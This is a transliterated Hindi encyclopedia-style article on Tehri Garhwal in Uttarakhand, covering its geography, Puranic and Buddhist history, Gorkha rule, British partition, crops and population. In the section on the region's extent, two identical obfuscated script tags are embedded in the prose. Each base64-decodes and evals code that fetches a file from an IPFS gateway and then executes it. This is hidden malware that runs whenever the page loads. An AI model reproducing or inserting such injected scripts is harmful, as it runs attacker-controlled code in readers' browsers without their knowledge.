टिहरी गढ़वाल
[[chitr:Tehri-Garhwal-Palace.jpg|thumb|250px|narendranagar sthit raja tihari gadhaval ka qila]] tihari gadhaval uttaraanchal rajy, uttar bharat mean sthit hai. is sthan ko pahale sirf 'gadhaval' ke nam se jana jata tha. yah sthan parvatoan ke bich sthit hai, jo apane prakritik saundary ke lie vishv bhar mean prasiddh hai. prati varsh b di sankhya mean paryatak yahaan par ghoomane ke lie ate haian. tihari gadhaval dharmik sthal ke roop mean bhi kafi prasiddh hai. yah nagar bhagirathi nadi par ek mahattvapoorn krishi vyapar keandr ke roop mean bhi jana jata hai. as-pas ka lagabhag 4,421 varg ki.mi. kshetr poori tarah se himalay shrriankhala mean ata hai aur dakshin mean ganga nadi se ghira hua hai.
vistar
tihari gadhaval mean deharadoon, badarinath, shrinagar aur pau di adi sthan pramukh roop se ullekhaniy haian. isaki lanbaee uttar mean niti darre se dakshin mean kotadvar tak 170 mil (lagabhag 272 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aur chau daee rudraprayag se samiya tak 70 mil (lagabhag 112 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ke lagabhag hai. kshetraphal pray: 11900 varg mil hai.
puran ullekh
puranoan tatha any prachin sahity mean is pradesh ka nam uttarakhand milata hai. 'gadhaval' naya nam hai, jo paravarti kal mean shayad yahaan ke bavan gadhoan ke karan hua hai. kaha jata hai ki ary sabhyata ke is pradesh mean prasar hone se poorv yahaan khas, kirat, tangan, kinnar adi jatiyoan ka nivas tha. ooanche parvatoan se ghire rahane ke karan yah pradesh sada surakshit raha hai aur prachin kal mean yahaan ke shaant manoram vatavaran mean anek rrishiyoan ne apane ashram banae the.
mahabharat se soochit hota hai ki gadhaval par paandavoan ka rajy tha aur mahabharat yuddh ke pashchath ve apane aantim samay mean badarinath ke marg se hi himalay par ge the. yahaan ke anek sthanoan ki yatra arjun tatha any paandavoan ne ki thi. badarinath mean maharshi vyas ka ashram bhi tha. paandavoan se sanbandh ke smarak ke roop mean aj bhi gadhaval ke devataoan mean paandav namak nrity prachalit hai.
baiddh dharm ka prasar
bauddh dharm ke utkarshakal mean yahaan anek vihar tatha mandir sthapit hue. uttarakashi tatha badhan ke kshetr mean baiddh dharm ka sabase adhik prachar tha aur kuchh vidvanoan ka mat hai ki badarinath ka vartaman mandir pahale bauddh mandir ya vihar tha, jise hindoo dharm ke punarutthan ke samay adi shankarachary ne badarinarayan ke mandir ke roop mean parivartit kar diya. badhan ka vastavik nam 'bodhayan' kaha jata hai. yah aitihasik tathy hai ki jagadaguru adishankar ne badarinath mean akar hindoo dharm ke punarjagaran ka shankhanad kiya tha. anek smritisthal yahaan aj bhi haian.
vibhinn jatiyoan ka adhikar
kalaantar mean gadhaval ki rajanitik dasha big d gee aur khasoan ne yahaan chhote–chhote rajava de qayam kar lie. ye log paraspar l date-bhi date rahate the. tibbat se bhi inake jhag de chalate rahe. khasoan ke pashchath gadhaval mean nag jati ka prabhutv hua. tatpashchath malava ke panvar rajaoan ne uttari gadhaval mean apana rajy sthapit kar liya. panvaroan mean sabase prasiddh raja ajayapal tha. isake rajy mean haridvar aur kanakhal bhi shamil the. muslimoan ke bharat par akraman ke samay jab desh mean sarvatr ashaanti tatha arajakata chhaee huee thi, rajapootana, panjab, gujarat, maharashtr tatha any sthanoan se bhagakar bahut se rajapoot saradaroan tatha anek brahmanoan ne gadhaval mean sharan li. isi karan gadhaval ke janajivan par rajasthan, gujarat, panjab, maharashtr tatha any pradeshoan ki vishisht sanskritiyoan ka prabhav dekhane mean ata hai.
1800 ee. ke lagabhag gadhaval par nepal ke gorakhoan ne adhikar kar liya aur barah varsh tak yahaan rajy kiya. unake kathor tatha atyacharapoorn shasan ki yad mean ab tak gadhavali log use 'gorkhani' nam se pukarate haian. trast hokar gadhavaliyoan ne aangrezoan ki sahayata se gorakhoan ko gadhaval se nikal diya. nepal yuddh (1814 ee.) ke pashchath aangrezoan ne gadhaval ke do tuk de kar die. tihari, jahaan gadhavaliyoan ki riyasat basaee gee aur gadhaval, jise aangrezoan ne british bharat mean mila liya.
krishi aur khanij
yahaan paida hone vali vibhinn fasaloan mean chaval, jau, aur tilahan pramukh haian.
sanyukt praant
bhootapoorv tihari riyasat ko 1947-1948 mean sanyukt praant mean shamil kar liya gaya tha, jo bad mean uttar pradesh kahalaya, lekin ab yah 1 navanbar, 2000 ko uttar pradesh se alag kar navagathit uttaraanchal rajy ka hissa hai.
janasankhya
san 2001 ki janaganana ke anusar tihari gadhaval nagar ki kul janasankhya 25,425; aur tihari gadhaval zile ki kul janasankhya 6,04,608 hai.
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tika tippani aur sandarbh
sanbandhit lekh
varnamala kramanusar lekh khoj
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